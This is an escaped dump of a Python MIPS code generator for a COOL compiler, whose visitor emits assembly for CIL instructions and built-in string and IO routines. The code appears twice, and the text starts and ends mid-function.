is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n\n @visitor.when(cil.Data)\n def visit(self, node: cil.Data):\n self.write_file(\n f'{node.dest}: .asciiz \"{str(node.value.encode())[2:-1]}\"')\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n\n @visitor.when(cil.Function)\n def visit(self, node: cil.Function):\n self.write_file(f'function_{node.name}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'subiu $sp, $sp, {4 * len(node.vlocals)}')\n for i in range(len(node.args)):\n self.offset[node.args[i].name] = 12 + i * 4\n for i in range(len(node.vlocals)):\n self.offset[node.vlocals[i].name] = i * -4\n for inst in node.body:\n if isinstance(inst, cil.Equal) or isinstance(inst, cil.Div):\n inst.id = self.new_labels_id()\n self.visit(inst)\n self.write_file(f'addiu $sp, $sp, {4 * len(node.vlocals)}')\n self.write_file('jr $ra')\n self.write_file('')\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Plus)\n def visit(self, node: cil.Plus):\n self.write_file('# +')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('add $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Minus)\n def visit(self, node: cil.Minus):\n self.write_file('# -')\n if isinstance(node.left, int):\n self.write_file('li $a0 {}'.format(node.left))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sub $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Mult)\n def visit(self, node: cil.Mult):\n self.write_file('# *')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('mul $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Div)\n def visit(self, node: cil.Div):\n self.write_file('# /')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beqz $a1 _div_error_{node.id}_')\n self.write_file('div $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b _div_end_{node.id}_')\n self.write_file(f'_div_error_{node.id}_:', tabbed=False)\n self.write_file('la $a0 _div_zero_msg')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('la $a0 _abort_msg')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('li $v0 10')\n self.write_file('syscall')\n self.write_file(f'_div_end_{node.id}_:', tabbed=False)\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n\n @visitor.when(cil.LessThan)\n def visit(self, node: cil.LessThan):\n self.write_file('# <')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('slt $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.Allocate)\n def visit(self, node: cil.Allocate):\n self.write_file('# ALLOCATE')\n if node.ttype == VOID_TYPE:\n self.write_file(f'la $v0 {VOID_MIPS_NAME}')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n else:\n offset_proto = self.type_index.index(node.ttype) * 8\n self.write_file('lw $t0 {}($s0)'.format(offset_proto))\n self.write_file('sw $t0, 0($sp)')\n self.write_file('addiu $sp, $sp, -4')\n self.write_file('')\n self.visit(cil.Call(dest=node.dest, f='Object_copy'))\n self.write_file('addiu $sp, $sp, 4')\n self.write_file('')\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n\n @visitor.when(cil.Goto)\n def visit(self, node: cil.Goto):\n self.write_file('# GOTO')\n self.write_file('j _cil_label_{}'.format(node.label))\n self.write_file('')\n\n @visitor.when(cil.IfGoto)\n def visit(self, node: cil.IfGoto):\n self.write_file('# IF GOTO')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.condition]))\n self.write_file('bnez $a0, _cil_label_{}'.format(node.label))\n self.write_file('')\n\n def static_datas(self):\n self.write_file('str_buffer: .space 1025')\n self.write_file('')\n self.write_file(\n '_index_negative_msg: .asciiz \"Index to substr is negative\\\\n\"')\n self.write_file(\n '_index_out_msg: .asciiz \"Index out range exception\\\\n\"')\n self.write_file('_abort_msg: \"Execution aborted\\\\n\"')\n self.write_file('_div_zero_msg: \"Division by zero exception\\\\n\"')\n self.write_file('')\n\n def entry(self):\n self.write_file('entry:', tabbed=False)\n self.visit(cil.Call(dest=None, f='build_class_name_table'))\n self.visit(cil.Call(dest=None, f='allocate_prototypes_table'))\n self.visit(cil.Call(dest=None, f='build_prototypes'))\n self.visit(cil.Call(dest=None, f='build_dispatch_tables'))\n self.visit(cil.Call(dest=None, f='build_class_parents_table'))\n self.visit(cil.Allocate(dest=None, ttype='Main'))\n self.write_file('sw $v0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n self.visit(cil.Call(dest=None, f=f'Main_{INIT_CIL_SUFFIX}'))\n self.write_file('addiu $sp $sp 4')\n self.write_file('sw $v0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n self.visit(cil.Call(dest=None, f='Main_main'))\n self.write_file('addiu $sp $sp 4')\n self.write_file('li $v0 10')\n self.write_file('syscall')\n\n def object_abort(self):\n self.write_file('function_Object_abort:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_int(self):\n self.write_file('function_IO_in_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $t0 $v0')\n self.write_file('li $v0 5')\n self.write_file('syscall')\n self.write_file('sw $v0 12($t0)')\n self.write_file('move $v0 $t0')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_string(self):\n self.write_file('function_IO_in_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('sw $v1 12($v0)')\n self.write_file('move $t5 $v0')\n self.write_file('la $a0 str_buffer')\n self.write_file('li $a1 1025')\n self.write_file('li $v0 8')\n self.write_file('syscall')\n self.write_file('move $a0 $0')\n self.write_file('la $t2 str_buffer')\n self.write_file('_in_string_str_len_:', tabbed=False)\n self.write_file('lb $t0 0($t2)')\n self.write_file('beq $t0 $0 _end_in_string_str_len_')\n self.write_file('beq $t0 10 _end_in_string_str_len_')\n self.write_file('addiu $a0 $a0 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _in_string_str_len_')\n self.write_file('_end_in_string_str_len_:', tabbed=False)\n self.write_file('sw $a0 12($v1)')\n self.allocate_memory()\n self.write_file('la $t4 str_buffer')\n self.write_file('move $t1 $v0')\n self.write_file('_in_str_copy_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_copy_')\n self.write_file('beq $t0 10 _end_in_str_copy_')\n self.write_file('sb $t0 0($t1)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('j _in_str_copy_')\n self.write_file('_end_in_str_copy_:', tabbed=False)\n self.write_file('sw $v0 16($t5)')\n self.write_file('la $t4 str_buffer')\n self.write_file('_in_str_clean_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_clean_')\n self.write_file('sb $0 0($t4)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _in_str_clean_')\n self.write_file('_end_in_str_clean_:', tabbed=False)\n self.write_file('move $v0 $t5')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_string(self):\n self.write_file('function_IO_out_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 16($a0)')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def conforms(self):\n self.write_file(f'function_{CONFORMS_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'lw $t1 16($fp)')\n self.write_file(\n f'beq $t1 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_true_'\n )\n self.write_file('_conforms_loop_:', tabbed=False)\n self.write_file('beq $t0 $t1 _conforms_ret_true_')\n self.write_file(\n f'beq $t0 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_false_'\n )\n self.write_file('mulu $t0 $t0 4')\n self.write_file('addu $t0 $t0 $s2')\n self.write_file('lw $t0 0($t0)')\n self.write_file('j _conforms_loop_')\n self.write_file('_conforms_ret_true_:', tabbed=False)\n self.write_file('li $v0 1')\n self.write_file('j _conforms_ret_')\n self.write_file('_conforms_ret_false_:', tabbed=False)\n self.write_file('li $v0 0')\n self.write_file('_conforms_ret_:')\n self.write_file('jr $ra')\n self.write_file('')\n\n def isvoid(self):\n self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'la $t1 {VOID_MIPS_NAME}')\n self.write_file(f'beq $t0 $t1 _is_void_true_')\n self.write_file(f'sw $0 12($v0)')\n self.write_file(f'j _is_void_end_')\n self.write_file(f'_is_void_true_:', tabbed=False)\n self.write_file(f'li $t0 1')\n self.write_file(f'sw $t0 12($v0)')\n self.write_file(f'_is_void_end_:', tabbed=False)\n self.write_file(f'jr $ra')\n self.write_file(f'')\n",
"<docstring token>\n<import token>\nsys.path.append('..')\n<import token>\n\n\nclass MipsVisitor:\n \"\"\"\n\tMips Visitor Class.\n\n\tThis visitor will process the AST of the generated CIL and write the mips code to a file.\n\t\"\"\"\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n\n def push(self):\n self.write_file('sw $a0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n\n def pop(self, dest=None):\n self.write_file(f'addiu $sp $sp 4')\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n\n def new_labels_id(self):\n self.cur_labels_id += 1\n return self.cur_labels_id\n\n @visitor.on('node')\n def visit(self, node):\n pass\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n\n @visitor.when(cil.Data)\n def visit(self, node: cil.Data):\n self.write_file(\n f'{node.dest}: .asciiz \"{str(node.value.encode())[2:-1]}\"')\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n\n @visitor.when(cil.Function)\n def visit(self, node: cil.Function):\n self.write_file(f'function_{node.name}:', tabbed=False)\n 